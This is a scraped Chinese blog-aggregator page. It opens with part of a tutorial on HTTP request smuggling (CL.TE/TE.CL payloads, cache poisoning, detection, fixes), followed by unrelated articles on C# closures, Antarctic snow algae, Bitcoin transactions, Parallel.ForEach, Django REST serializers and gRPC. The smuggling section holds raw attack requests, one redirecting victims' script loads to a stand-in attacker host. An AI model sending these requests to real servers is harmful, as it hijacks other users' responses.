Content-Length: 54
Transfer-Encoding: chunked

0

GET /home HTTP/1.1
Host: attacker-website.com
Foo: X

走私的請求將觸發重定向到攻擊者的網站，這將影響後端服務器處理的下一個用戶的請求。例如：

正常請求
GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /scripts/include.js HTTP/1.1
Host: vulnerable-website.com

惡意響應
HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/

若用戶請求的是一個 JavaScript 文件，該文件是由網站上的頁面導入的。攻擊者可以通過在響應中返回自己的 JavaScript 文件來完全破壞受害者用戶。

4.緩存投毒

一般來說，前端服務器出於性能原因，會對後端服務器的一些資源進行緩存，如果存在HTTP請求走私漏洞，則有可能使用重定向來進行緩存投毒，從而影響後續訪問的所有用戶。

BURP實驗環境

實驗參考

檢測

檢測請求走私漏洞的明顯方法是發出一個模糊的請求，然後發出正常的“受害者”請求，然後觀察後者是否得到意外的響應。但是，這極易受到干擾。

如果另一個用戶的請求在我們的受害者請求之前命中，他們將得到損壞的響應，我們將不會發現該漏洞。這意味着在具有大量流量的實時站點上，很難證明請求走私存在而不會在此過程中影響眾多真正的用戶。即使在沒有其他流量的站點上，您也可能會因應用程序級別的怪癖終止連接而導致漏報。

為了解決這個問題，作者開發了一種檢測策略，該策略使用一系列消息，這些消息使易受攻擊的後端系統掛起並使連接超時。這種技術幾乎沒有誤報，抵制應用程序級別的怪癖，最重要的是幾乎沒有影響其他用戶的風險。

假設前端服務器使用Content-Length頭，後端使用Transfer-Encoding頭。我將此定位稱為CL.TE。我們可以通過發送以下請求來檢測潛在的請求走私：

POST / HTTP/1.1
Host: example.com
Content-Length: 4
Transfer-Encoding: chunked

1
R
x

由於較短的Content-Length，前端將僅轉發到 R 丟棄後續的 X，而後端將在等待下一個塊大小時超時。這將導致明顯的時間延遲。
如果超時說明兩個服務器為CL.TE，正常響應就是CL.CL，被拒絕就可能是TE.TE或者TE.CL,那麼只需要在拒絕的時候，再使用第二個請求，TE.TE就會正常響應，TE.CL就會超時。

如果兩個服務器同步（TE.TE或CL.CL），請求將被前端拒絕或由兩個系統無害地處理。最後，如果以相反的方式發生（TE.CL），前端將拒絕該消息，而不會將其轉發到後端，這要歸功於無效的塊大小“Q”。這可以防止後端中毒。

我們可以使用以下請求安全地檢測TE.CL：

POST / HTTP/1.1
Host: example.com
Content-Length: 6
Transfer-Encoding: chunked

0


X

如果以相反的方式發生（CL.TE），則此方法將使用X毒化後端套接字，可能會損害合法用戶。幸運的是，通過首先運行先前的檢測方法，我們可以排除這種可能性。

這些請求可以適應目標解析中的任意差異，並且它們用於通過HTTP Request Smuggler自動識別請求走私漏洞。HTTP Request Smuggler是為幫助此類攻擊而開發的開源Burp Suite擴展。它們現在也被用在Burp Suite的核心掃描儀中。雖然這是服務器級漏洞，但單個域上的不同接口通常會路由到不同的目標，因此應將此技術單獨應用於每個接口。

修復

禁用後端連接的重用，以便每個後端請求通過單獨的網絡連接發送。

使用HTTP / 2進行後端連接，因為此協議可防止對請求之間的邊界產生歧義。

前端服務器和後端服務器使用完全相同的Web服務器軟件，以便它們就請求之間的界限達成一致。
以上的措施有的不能從根本上解決問題，而且有着很多不足，就比如禁用代理服務器和後端服務器之間的 TCP 連接重用，會增大後端服務器的壓力。使用 HTTP/2 在現在的網絡條件下根本無法推廣使用，哪怕支持 HTTP/2 協議的服務器也會兼容 HTTP/1.1。從本質上來說，HTTP 請求走私出現的原因並不是協議設計的問題，而是不同服務器實現的問題，個人認為最好的解決方案就是嚴格的實現 RFC7230-7235 中所規定的的標準，但這也是最難做到的。

HTTP 參數污染也能算是一種請求走私 HTTP參數污染

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※帶您來了解什麼是 USB CONNECTOR ?

※自行創業缺乏曝光? 網頁設計幫您第一時間規劃公司的形象門面

※如何讓商品強力曝光呢? 網頁設計公司幫您建置最吸引人的網站，提高曝光率!

※綠能、環保無空污,成為電動車最新代名詞，目前市場使用率逐漸普及化

※廣告預算用在刀口上，台北網頁設計公司幫您達到更多曝光效益

※教你寫出一流的銷售文案?

2020-10-19

C#中的閉包和意想不到的坑

雖然閉包主要是函數式編程的玩意兒，而C#的最主要特徵是面向對象，但是利用委託或lambda表達式，C#也可以寫出具有函數式編程風味的代碼。同樣的，使用委託或者lambda表達式，也可以在C#中使用閉包。

根據WIKI的定義，閉包又稱語法閉包或函數閉包，是在函數式編程語言中實現語法綁定的一種技術。閉包在實現上是一個結構體，它存儲了一個函數（通常是其入口地址）和一個關聯的環境（相當於一個符號查找表）。閉包也可以延遲變量的生存周期。

嗯。。看定義好像有點迷糊，讓我們看看下面的例子吧

    class Program
    {
        static Action CreateGreeting(string message)
        {
            return () => { Console.WriteLine("Hello " + message); };
        }

        static void Main()
        {
            Action action = CreateGreeting("DeathArthas");
            action();
        }
    }

這個例子非常簡單，用lambda表達式創建一個Action對象，之後再調用這個Action對象。
但是仔細觀察會發現，當Action對象被調用的時候，CreateGreeting方法已經返回了，作為它的實參的message應該已經被銷毀了，那麼為什麼我們在調用Action對象的時候，還是能夠得到正確的結果呢？

原來奧秘就在於，這裏形成了閉包。雖然CreateGreeting已經返回了，但是它的局部變量被返回的lambda表達式所捕獲，延遲了其生命周期。怎麼樣，這樣再回頭看閉包定義，是不是更清楚了一些？

閉包就是這麼簡單，其實我們經常都在使用，只是有時候我們都不自知而已。比如大家肯定都寫過類似下面的代碼。

void AddControlClickLogger(Control control, string message)
{
	control.Click += delegate
	{
		Console.WriteLine("Control clicked: {0}", message);
	}
}

這裏的代碼其實就用了閉包，因為我們可以肯定，在control被點擊的時候，這個message早就超過了它的聲明周期。合理使用閉包，可以確保我們寫出在空間和時間上面解耦的委託。

不過在使用閉包的時候，要注意一個陷阱。因為閉包會延遲局部變量的生命周期，在某些情況下程序產生的結果會和預想的不一樣。讓我們看看下面的例子。

    class Program
    {
	static List<Action> CreateActions()
        {
            var result = new List<Action>();
            for(int i = 0; i < 5; i++)
            {
                result.Add(() => Console.WriteLine(i));
            }
            return result;
        }

        static void Main()
        {
            var actions = CreateActions();
            for(int i = 0;i<actions.Count;i++)
            {
                actions[i]();
            }
        }
    }

這個例子也非常簡單，創建一個Action鏈表並依次執行它們。看看結果

相信很多人看到這個結果的表情是這樣的！！難道不應該是0，1，2，3，4嗎？出了什麼問題？

刨根問底，這兒的問題還是出現在閉包的本質上面，作為“閉包延遲了變量的生命周期”這個硬幣的另外一面，是一個變量可能在不經意間被多個閉包所引用。

在這個例子裏面，局部變量i同時被5個閉包引用，這5個閉包共享i，所以最後他們打印出來的值是一樣的，都是i最後退出循環時候的值5。

要想解決這個問題也很簡單，多聲明一個局部變量，讓各個閉包引用自己的局部變量就可以了。

	//其他都保持與之前一致
        static List<Action> CreateActions()
        {
            var result = new List<Action>();
            for (int i = 0; i < 5; i++)
            {
                int temp = i; //添加局部變量
                result.Add(() => Console.WriteLine(temp));
            }
            return result;
        }

這樣各個閉包引用不同的局部變量，剛剛的問題就解決了。

除此之外，還有一個修復的方法，在創建閉包的時候，使用foreach而不是for。至少在C# 7.0 的版本上面，這個問題已經被注意到了，使用foreach的時候編譯器會自動生成代碼繞過這個閉包陷阱。

	//這樣fix也是可以的
        static List<Action> CreateActions()
        {
            var result = new List<Action>();
            foreach (var i in Enumerable.Range(0,5))
            {
                result.Add(() => Console.WriteLine(i));
            }
            return result;
        }

這就是在閉包在C#中的使用和其使用中的一個小陷阱，希望大家能通過老胡的文章了解到這個知識點並且在開發中少走彎路！

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

※網頁設計公司推薦不同的風格，搶佔消費者視覺第一線

※想知道購買電動車哪裡補助最多?台中電動車補助資訊懶人包彙整

※南投搬家公司費用,距離,噸數怎麼算?達人教你簡易估價知識!

※教你寫出一流的銷售文案?

※超省錢租車方案

2020-10-19

全球暖化警示！南極驚見「鮮紅極地」

摘錄自2020年2月29日自由時報報導

南極科學家近來捕捉到一系列照片，只見片片雪地上竟染上了大面積的鮮紅色，畫面看來有些詭異。然而，這樣的景象其實是全球暖化持續惡化的警示之一。

綜合外媒報導，此類景象被稱為是「西瓜雪」。西瓜雪是由極地雪藻（Chlamydomonas nivalis）所造成，該藻類能夠製造耐寒孢子，讓它們得以在0°C以下的低溫存活。由於南極正值夏季，溫暖的天氣為孢子帶來適當的繁殖條件。

烏克蘭科學家提到，大面積的西瓜雪是氣候暖化的產物，且其顏色能夠反射的日照量較少，會讓雪融化得更快。此外，極地雪藻對人類來說具有毒性，不能食用。

南極洲在2月初被熱浪侵襲，出現20.75°C的破紀錄高溫，美國國家航空暨太空總署（NASA）公布的衛星照片顯示，位於南極洲東北方的鷹島，短短九天內融化了20％的積雪。美國麻州尼可斯學院的地質學家佩爾托（Mauri Pelto）表示，直到21世紀前，南極洲大陸幾乎從未發生過這種事。

烏克蘭科學家近日在南極發現大片西瓜雪。圖片來源：「Національний антарктичний науковий центр」臉書

形成西瓜雪的極地雪藻會使融冰速度增加。圖片來源：「Національний антарктичний науковий центр」臉書

本站聲明:網站內容來源環境資訊中心https://e-info.org.tw/,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※帶您來了解什麼是 USB CONNECTOR ?

※自行創業缺乏曝光? 網頁設計幫您第一時間規劃公司的形象門面

※如何讓商品強力曝光呢? 網頁設計公司幫您建置最吸引人的網站，提高曝光率!

※綠能、環保無空污,成為電動車最新代名詞，目前市場使用率逐漸普及化

※廣告預算用在刀口上，台北網頁設計公司幫您達到更多曝光效益

※教你寫出一流的銷售文案?

2020-10-16

區塊鏈系列教程之:比特幣的錢包與交易

簡介
比特幣密碼學的基礎
- 單向散列函數（hash算法）
- 非對稱加密算法
- 擴展閱讀：同態加密
密鑰,地址和錢包
比特幣中的交易
擴展閱讀：圖靈非完備性
總結

簡介

錢包在比特幣中是做什麼的呢？比特幣的交易又有什麼特點呢？怎麼才能偽造比特幣的交易呢？今天和大家一起學習一下比特幣中的錢包和交易。

比特幣密碼學的基礎

之前我們提到過比特幣使用的並不是什麼新技術，只是對於老的技術比如：P2P網絡，分佈式系統，密碼學，共識算法的重新而又巧妙的應用。

在錢包和交易生成驗證的過程中，都需要使用到密碼學的計算。這裏我們先介紹一下比特幣中會使用到的幾種密碼學技術。

更多精彩內容且看：

區塊鏈從入門到放棄系列教程-涵蓋密碼學,超級賬本,以太坊,Libra,比特幣等持續更新
Spring Boot 2.X系列教程:七天從無到有掌握Spring Boot-持續更新
Spring 5.X系列教程:滿足你對Spring5的一切想象-持續更新
java程序員從小工到專家成神之路（2020版）-持續更新中,附詳細文章教程

單向散列函數（hash算法）

在介紹單向散列函數之前，我們先了解一下什麼情況下需要使用到單向散列函數。

如果你需要從國外的網站上下載一個軟件，但是因為種種原因，國外的網絡太慢了，下載幾個G的數據幾乎是不可能的。剛好國內有鏡像網站，可以從國內下載數據。但是如何保證國內的鏡像不是被篡改過後的呢？這個時候就需要單向散列函數了。一般來說網站會提供MD5或者SHA的值作為驗證值。

單向散列函數有一個輸入和輸出。輸入稱為消息，輸出稱為散列值。

散列值的長度跟消息的長度無關，不論多少大小的長度的消息，都會計算出固定長度的散列值。

hash算法有下面幾個特點：

能夠根據任意長度的消息計算出固定長度的散列值。
計算速度要快。
消息不同，散列值也不同。

這就意味着，如果僅僅是一點點的變動都會引起整個散列值的巨大變化。

因為散列值的大小是固定的，所以有可能會出現不同的消息產生相同散列值的情況。這種情況叫做碰撞。

難以發現碰撞的性質被稱為抗碰撞性。當給定某條消息的散列值時，必須保證很難找到和該消息具有相同散列值的另一條消息。
單向散列函數必須具有單向性。所謂單向性是指無法通過散列值來反推出消息的性質。

比特幣使用的散列算法是SHA256，他是安全散列算法SHA（Secure Hash Algorithm）系列算法的一種（另外還有SHA-1、SHA-224、SHA-384 和 SHA-512 等變體），SHA是美國國家安全局（NSA）設計，美國國家標準與技術研究院（NIST）發布的，主要適用於数字簽名標準（DigitalSignature Standard DSS）裏面定義的数字簽名算法（Digital Signature Algorithm DSA）。

RIPEMD（RACE Integrity Primitives Evaluation Message Digest，RACE原始完整性校驗消息摘要），是Hans Dobbertin等3人在md4,md5的基礎上，於1996年提出來的。

非對稱加密算法

非對稱加密算法也叫公鑰密碼算法，通過生成的公私鑰來對明文密文進行加密解密。

非對稱加密算法需要兩個密鑰：公開密鑰（publickey）和私有密鑰（privatekey）。公開密鑰與私有密鑰是一對，如果用公開密鑰對數據進行加密，只有用對應的私有密鑰才能解密；如果用私有密鑰對數據進行加密，那麼只有用對應的公開密鑰才能解密。因為加密和解密使用的是兩個不同的密鑰，所以這種算法叫作非對稱加密算法。

擴展閱讀：同態加密

同態加密是一種加密形式，它允許人們對密文進行特定的代數運算得到仍然是加密的結果，將其解密所得到的結果與對明文進行同樣的運算結果一樣。換言之，這項技術令人們可以在加密的數據中進行諸如檢索、比較等操作，得出正確的結果，而在整個處理過程中無需對數據進行解密。其意義在於，真正從根本上解決將數據及其操作委託給第三方時的保密問題，例如對於各種雲計算的應用。

密鑰,地址和錢包

比特幣的所有權是通過数字密鑰、比特幣地址和数字簽名來確立的。数字密鑰實際上並不是存儲在網絡中，而是由用戶生成並存儲在一個文件或簡單的數據庫中，稱為錢包。存儲在用戶錢包中的数字密鑰完全獨立於比特幣協議，可由用戶的錢包軟件生成並管理，而無需區塊鏈或網絡連接。密鑰實現了比特幣的許多有趣特性，包括去中心化信任和控制、所有權認證和基於密碼學證明的安全模型。

比特幣錢包只包含私鑰而不是比特幣。每一個用戶有一個包含多個私鑰的錢包。錢包中包含成對的私鑰和公鑰。用戶用這些私鑰來簽名交易，從而證明它們擁有交易的輸出（也就是其中的比特幣）。比特幣是以交易輸出的形式來儲存在區塊鏈中（通常記為vout或txout）。

如果錢包只包含私鑰，那麼錢包地址是什麼呢？錢包地址是從公鑰的hash值的出來的，如下圖所示：

首先使用隨機數發生器生成一個『私鑰』。一般來說這是一個256bits的數，擁有了這串数字就可以對相應『錢包地址』中的比特幣進行操作，所以必須被安全地保存起來。
『私鑰』經過SECP256K1算法處理生成了『公鑰』。SECP256K1是一種橢圓曲線算法，通過一個已知『私鑰』時可以算得『公鑰』，而『公鑰』已知時卻無法反向計算出『私鑰』。這是保障比特幣安全的算法基礎。
同SHA256一樣，RIPEMD160也是一種Hash算法，由『公鑰』可以計算得到『公鑰哈希』，而反過來是行不通的。
將一個字節的地址版本號連接到『公鑰哈希』頭部（對於比特幣網絡的pubkey地址，這一字節為“0”），然後對其進行兩次SHA256運算，將結果的前4字節作為『公鑰哈希』的校驗值，連接在其尾部。
將上一步結果使用BASE58進行編碼(比特幣定製版本)，就得到了『錢包地址』。比如,1A1zP1eP5QGefi2DMPTfTL5TTmv7DivfNa。

所以私鑰，公鑰和錢包地址的關係如下圖所示：

大家看到錢包地址1A1zP1eP5QGefi2DMPTfTL5TTmv7DivfNa有什麼想法呢？

肯定有人在想，這麼一大長串字母和数字實在是太不好記憶了。能不能生產一個比較好記的錢包地址呢？比如MyNameIsHanMeiMei….這樣開頭的地址呢？

當然可以，這叫做靚號地址，只不過需要大量的算力才行。

比特幣中的交易

簡單來說，交易就是告知全網：比特幣的持有者已授權把比特幣轉帳給其他人。而新持有者能夠再次授權，轉移給該比特幣所有權鏈中的其他人。

注意，在比特幣的世界里既沒有賬戶，也沒有餘額，只有分散到區塊鏈里的UTXO（Unspent Transaction Outputs）。

怎麼理解這個UTXO呢？沒有賬戶也沒有餘額，那麼錢包裏面的金額是怎麼計算出來的呢？

別急，讓我們一一道來。

話說，在比特幣中，比特幣錢包間的轉賬是通過交易（Transaction）實現的。

我們看一個標準的交易流程。

那麼問題來了，世界上第一個比特幣是哪裡來的呢？

答，是挖礦來的。好了，我們的001交易表示的就是一個挖礦的過程，在這個交易中，輸入就是挖礦，輸出編號1，BTC數目是50，目的地址是A，表示這50個BTC給A了。

接下來，A想發25個BTC給B，怎麼構造這個交易呢？

同樣的，我們需要一個輸入，這個輸入就是001交易的1號輸出，我們用001.1來表示。輸出分為兩個，第一個輸出編號1，表示要付25個BTC給B。第二個輸出編號2，表示剩下的BTC要還給A。

大家可能會問了，輸入是50BTC，兩個輸出加起來才45個BTC，好像還少了5個BTC？沒錯，這個5個BTC就是給礦工的挖礦所得。

接下來，A又繼續轉賬給C，同樣的道理，把一個一個的交易連接起來。

從上面的例子我們可以看到，實際上錢是存在一個一個的交易記錄裏面的，那些未被花費的輸出，就叫做UTXO（Unspent Transaction Outputs）。

那麼怎麼保證轉賬給B的錢，不會被其他的人消費呢？這就涉及到交易的加密過程了。

我們以單個輸入和輸出為例來詳細了解一下交易的構成：

上圖中，交易的輸入就是txid，也就是之前生成的還有未花費暑輸出的交易ID。output index就是交易的輸出id。

一個非常重要的ScriptSig是輸入交易的驗證，表明這個用戶擁有這個賬戶的轉賬權限。

輸出是一個腳本，只有滿足腳本運行條件的人才能花費這個output。這也就是ScriptSig需要驗證的腳本。

我們看下腳本是怎麼做認證的吧。

比特幣的標準輸出形式有兩種。Pay To Public Key Hash (P2PKH) 和 Pay To Script Hash (P2SH)。兩者的區別在於，一個是輸出到public key的hash,一個是輸出到任意的一個腳本輸出hash。

為了保證輸出只能由特定的人來花費，一般的情況下是直接輸出到對方的public key hash。由於只有對方擁有的私鑰能夠生成這個public key hash，也就是說只有對方才能夠對這個輸出進行驗證。

但每次都需要知道對方的public key hash還是比較麻煩的，更簡單的做法就是，發送者直接輸出到一個特定的hash值就行了，只要對方能夠生成這個hash就可以。

下面的例子是一個P2PKH的腳本形式。

P2PKH的輸出是一個腳本，裏面一個重要的值就是PK hash。

怎麼驗證呢？

驗證方提供兩個值，一個是sig，一個是PubKey。因為比特幣的虛擬機是棧結構的，我們先把這兩個值入棧。

然後調用OP_DUP對最上層的PubKey進行拷貝，然後調用OP_HASH160算法來計算Pk Hash，然後將發送方保存的Pk Hash入棧。接下來調用OP_EQUALVERIFY對兩個PK Hash進行對比。

如果對比成功，最後一步就是驗證Sig和PubKey是否匹配。

如果都成功，說明接收方的確是這個PK Hash的擁有者。那麼對方就可以盡情使用了。

擴展閱讀：圖靈非完備性

和馮·諾伊曼同為現代計算機奠基人的阿蘭·圖靈（AlanTurin）在1950年提出了判定計算機能否像人那般實際“思考”的標準，也就是著名的“圖靈檢驗”。

他設想一台超級計算機和一個人躲藏在幕後回答提問者的問題，而提問者則試圖分辨哪個是人哪個是計算機。

圖靈爭辯說，假如計算機偽裝得如此巧妙，以致沒有人可以在實際上把它和一個真人分辨開來的話，那麼我們就可以聲稱，這台計算機和人一樣具備了思考能力，或者說，意識（他的原詞是“智慧”）。

在可計算性理論里，如果一系列操作數據的規則（如指令集、編程語言、細胞自動機）按照一定的順序可以計算出結果，被稱為圖靈完備（turing complete）。

比特幣腳本語言不是圖靈完備的，具有一定的局限性，它沒有循環語句和複雜的條件控制語句。

總結

本文介紹了比特幣的錢包和交易的概念，希望大家能夠喜歡。

本文作者：flydean程序那些事

本文鏈接：http://www.flydean.com/bitcoin-transactions/

本文來源：flydean的博客

歡迎關注我的公眾號:程序那些事，更多精彩等着您！

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

※網頁設計公司推薦不同的風格，搶佔消費者視覺第一線

※想知道購買電動車哪裡補助最多?台中電動車補助資訊懶人包彙整

※南投搬家公司費用,距離,噸數怎麼算?達人教你簡易估價知識!

※教你寫出一流的銷售文案?

※超省錢租車方案

2020-10-16

深入了解C#（TPL）之Parallel.ForEach異步

前言

最近在做項目過程中使用到了如題并行方法，當時還是有點猶豫不決，因為平常使用不多，於是藉助周末時間稍微深入了下，發現我用錯了，故此做一詳細記錄，希望對也不是很了解的童鞋在看到此文後不要再犯和我同樣的錯誤。

并行遍歷異步表象

這裏我們就不再講解該語法的作用以及和正常遍歷處理的區別，網上文章比比皆是，我們直接進入主題，本文所演示程序在控制台中進行。可能大部分童鞋都是如下大概這樣用的

Parallel.ForEach(Enumerable.Range(0, 10), index =>
{
    Console.WriteLine(index);
});

我們採取并行方式遍歷10個元素，然後結果也隨機打印出10個元素，一點毛病也沒有。然而我是用的異步方式，如下：

Parallel.ForEach(Enumerable.Range(0, 10), async index =>
{
    await AsyncTask(index);
});

static async Task<int> AsyncTask(int i)
{
    await Task.Delay(100);
    
    var calculate = i * 2;
    
    Console.WriteLine(calculate);

    return calculate;
}

我們只是將并行操作更改為了異步形式，然後對每個元素進行對應處理，打印無序結果，一切也是如我們所期望，接下來我再來看一個例子，經過并行異步處理后猜猜最終字典中元素個數可能或一定為多少呢？

var dicts = new ConcurrentDictionary<string, int>();

Parallel.ForEach(Enumerable.Range(0, 10), async index =>
{
    var result = await AsyncTask(index);

    dicts.TryAdd(index.ToString(), result);
});

Console.WriteLine($"element count in dictionary {dicts.Count}");

如果對該并行方法沒有深入了解的話，大概率都會猜錯，我們看到字典中元素為0，主要原因是用了異步后引起的，為何會這樣呢？我們首先從表象上來分析，當我們在控制台上對并行方法用了異步后，你會發現編譯器會告警（主函數入口已用異步標識），如下：

接下來我們再來看看調用該并行異步方法的最終調用構造，如下：

public static ParallelLoopResult ForEach<TSource>(IEnumerable<TSource> source, Action<TSource> body);

第二個參數為內置委託Action，所以我們也可以看出並不能用於異步，因為要是異步至少也是Func<Task>，比如如下方法參數形式

static async Task AsyncDemo(Func<int,Task> func)
{
    await func(1);
}

并行遍歷異步本質

通過如上表象的分析我們得出并行遍歷方法應該是並不支持異步（通過最終結果分析得知，表述為不能用於異步更恰當），但是在實際項目開發中我們若沒有注意到該方法的構造很容易就會誤以為支持異步，如我一樣寫完也沒報錯，也就草草了事。那麼接下來我們反編譯看下最終實際情況會是怎樣的呢。

進入主函數，我們已將主函數進行異步標識，所以將主函數放在狀態機中執行（狀態機類，<Main>d_0），這點我們毫無保留的贊同，接下來實例化字典，並通過并行遍歷異步處理元素集合併將其結果嘗試放入到字典中

由上我們可以看到主函數是在狀態機中運行且構造為AsyncTaskMethodBuilder，當我們通過并行遍歷異步處理時每次都會實例化一個狀態機類即如上<<Main>b__0>d，但我們發現此狀態機的構造是AsyncVoidMethodBuilder，利用此狀態機類來異步處理每一個元素，如下

最終調用AsyncTask異步方法，這裏我就不再截圖，同樣也是生成一個此異步方法的狀態機類。稍加分析想必我們已經知曉結果，AsyncTaskMethodBuilder指的就是（async task），而AsyncVoidMethodBuilder指的是（async void），所以對并行遍歷異步操作是將其隱式轉換為async void，而不是async task，這也和我們從其構造為Action得出的結論一致，我們知道（async void）僅限於基於事件的處理程序（常見於客戶端應用程序），其他情況避免用async void，也就是說將返回值放在Task或Task<T>中。當并行執行任務時，由於返回值為void，不會等待操作完成，這也就不難解釋為何字典中元素個數為0。

總結

當時並沒有過多的去了解，只是想當然的認為用了異步也沒出現編譯報錯，但是又由於沒怎麼用過，我還是抱着懷疑的態度，於是再深究了下，發現用法是大錯特錯。通過構造僅接受為Action委託，這也就意味着根本無法等待異步操作完成，之所以能接受異步索引其本質是隱式轉換為（async void），從另外一個角度看，異步主要用於IO密集型，而并行處理用於CPU密集型計算，基於此上種種一定不能用於異步，否則結果你懂的。

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※網頁設計公司推薦不同的風格，搶佔消費者視覺第一線

※廣告預算用在刀口上，台北網頁設計公司幫您達到更多曝光效益

※自行創業缺乏曝光? 網頁設計幫您第一時間規劃公司的形象門面

※南投搬家公司費用需注意的眉眉角角，別等搬了再說!

※教你寫出一流的銷售文案?

2020-10-16

09.DRF-ModelSerializer

四、模型類序列化器ModelSerializer

如果我們想要使用序列化器對應的是Django的模型類，DRF為我們提供了ModelSerializer模型類序列化器來幫助我們快速創建一個Serializer類。

ModelSerializer與常規的Serializer相同，但提供了：

基於模型類自動生成一系列字段
基於模型類自動為Serializer生成validators，比如unique_together
包含默認的create()和update()的實現

4.1 定義

比如我們創建一個BookInfoSerializer

class BookInfoSerializer(serializers.ModelSerializer):
    """圖書數據序列化器"""
    class Meta:
        model = BookInfo
        fields = '__all__'

model 指明參照哪個模型類
fields 指明為模型類的哪些字段生成

我們可以在python manage.py shell中查看自動生成的BookInfoSerializer的具體實現

>>> from booktest.serializers import BookInfoSerializer
>>> serializer = BookInfoSerializer()
>>> serializer
BookInfoSerializer():
    id = IntegerField(label='ID', read_only=True)
    btitle = CharField(label='名稱', max_length=20)
    bpub_date = DateField(allow_null=True, label='發布日期', required=False)
    bread = IntegerField(label='閱讀量', max_value=2147483647, min_value=-2147483648, required=False)
    bcomment = IntegerField(label='評論量', max_value=2147483647, min_value=-2147483648, required=False)
    image = ImageField(allow_null=True, label='圖片', max_length=100, required=False)

4.2 指定字段

4.2.1) 使用fields來明確字段，`all`表名包含所有字段，也可以寫明具體哪些字段，如

class BookInfoSerializer(serializers.ModelSerializer):
    """圖書數據序列化器"""
    class Meta:
        model = BookInfo
        fields = ('id', 'btitle', 'bpub_date')

4.2.2) 使用exclude可以明確排除掉哪些字段

class BookInfoSerializer(serializers.ModelSerializer):
    """圖書數據序列化器"""
    class Meta:
        model = BookInfo
        exclude = ('image',)

4.2.3) 默認ModelSerializer使用主鍵作為關聯字段，但是我們可以使用depth來簡單的生成嵌套表示，depth應該是整數，表明嵌套的層級數量。如：

class HeroInfoSerializer2(serializers.ModelSerializer):
    class Meta:
        model = HeroInfo
        fields = '__all__'
        depth = 1

形成的序列化器如下：

HeroInfoSerializer():
    id = IntegerField(label='ID', read_only=True)
    hname = CharField(label='名稱', max_length=20)
    hgender = ChoiceField(choices=((0, 'male'), (1, 'female')), label='性別', required=False, validators=[<django.core.valators.MinValueValidator object>, <django.core.validators.MaxValueValidator object>])
    hcomment = CharField(allow_null=True, label='描述信息', max_length=200, required=False)
    hbook = NestedSerializer(read_only=True):
        id = IntegerField(label='ID', read_only=True)
        btitle = CharField(label='名稱', max_length=20)
        bpub_date = DateField(allow_null=True, label='發布日期', required=False)
        bread = IntegerField(label='閱讀量', max_value=2147483647, min_value=-2147483648, required=False)
        bcomment = IntegerField(label='評論量', max_value=2147483647, min_value=-2147483648, required=False)
        image = ImageField(allow_null=True, label='圖片', max_length=100, required=False)

4.2.4) 显示指明字段，如：

class HeroInfoSerializer(serializers.ModelSerializer):
    hbook = BookInfoSerializer()

    class Meta:
        model = HeroInfo
        fields = ('id', 'hname', 'hgender', 'hcomment', 'hbook')

4.2.5) 指明只讀字段

可以通過read_only_fields指明只讀字段，即僅用於序列化輸出的字段

class BookInfoSerializer(serializers.ModelSerializer):
    """圖書數據序列化器"""
    class Meta:
        model = BookInfo
        fields = ('id', 'btitle', 'bpub_date'， 'bread', 'bcomment')
        read_only_fields = ('id', 'bread', 'bcomment')

4.3 添加額外參數

我們可以使用extra_kwargs參數為ModelSerializer添加或修改原有的選項參數

class BookInfoSerializer(serializers.ModelSerializer):
    """圖書數據序列化器"""
    class Meta:
        model = BookInfo
        fields = ('id', 'btitle', 'bpub_date', 'bread', 'bcomment')
        extra_kwargs = {
            'bread': {'min_value': 0, 'required': True},
            'bcomment': {'min_value': 0, 'required': True},
        }

# BookInfoSerializer():
#    id = IntegerField(label='ID', read_only=True)
#    btitle = CharField(label='名稱', max_length=20)
#    bpub_date = DateField(allow_null=True, label='發布日期', required=False)
#    bread = IntegerField(label='閱讀量', max_value=2147483647, min_value=0, required=True)
#    bcomment = IntegerField(label='評論量', max_value=2147483647, min_value=0, required=True)

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※廣告預算用在刀口上，台北網頁設計公司幫您達到更多曝光效益

※別再煩惱如何寫文案,掌握八大原則!

※教你寫出一流的銷售文案?

※超省錢租車方案

※FB行銷專家,教你從零開始的技巧

2020-10-16

一起玩轉微服務（6）——通信協議如何統一

一、接口調用

接口調用如果是遠程調用，那麼就構成了簡單的分佈式。最簡單的遠程接口實現方式是web service或rest。當然一個合理的分佈式應用不僅僅是遠程接口調用這麼簡單。還需要有負載均衡、緩存等功能。最簡單實現分佈式的技術是Rest接口，因為Rest接口可以使用現存的各種服務器，比如負載均衡服務器和緩存服務器來實現負載均衡和緩存功能。

二、統一通信協議

關於通信協議，不同的公司有不同的選擇，但是建議同一公司內部使用統一的通信協議，比較典型的有grpc和brpc。

1. gRPC簡介

gRPC是Google發布的基於HTTP 2.0傳輸層協議承載的高性能開源軟件框架，提供了支持多種編程語言的、對網絡設備進行配置和納管的方法。由於是開源框架，通信的雙方可以進行二次開發，所以客戶端和服務器端之間的通信會更加專註於業務層面的內容，減少了對由gRPC框架實現的底層通信的關注。如下圖，DATA部分即業務層面內容，下面所有的信息都由gRPC進行封裝。

grpc是一個高性能、開源和通用的 RPC 框架，面向移動和 HTTP/2 設計。目前提供 C、Java 和 Go 語言版本，分別是：grpc, grpc-java, grpc-go. 其中 C 版本支持 C, C++, Node.js, Python, Ruby, Objective-C, PHP 和 C# 支持.
grpc基於 HTTP/2 標準設計，帶來諸如雙向流、流控、頭部壓縮、單 TCP 連接上的多復用請求等特。這些特性使得其在移動設備上表現更好，更省電和節省空間佔用。
關於具體gRPC報文的結構，可以參考下圖：

下面展示一下gRPC的交互過程

交換機在開啟gRPC功能后充當gRPC客戶端的角色，採集服務器充當gRPC服務器角色；
交換機會根據訂閱的事件構建對應數據的格式（GPB/JSON），通過Protocol Buffers進行編寫proto文件，交換機與服務器建立gRPC通道，通過gRPC協議向服務器發送請求消息；
服務器收到請求消息后，服務器會通過Protocol Buffers解譯proto文件，還原出最先定義好格式的數據結構，進行業務處理；
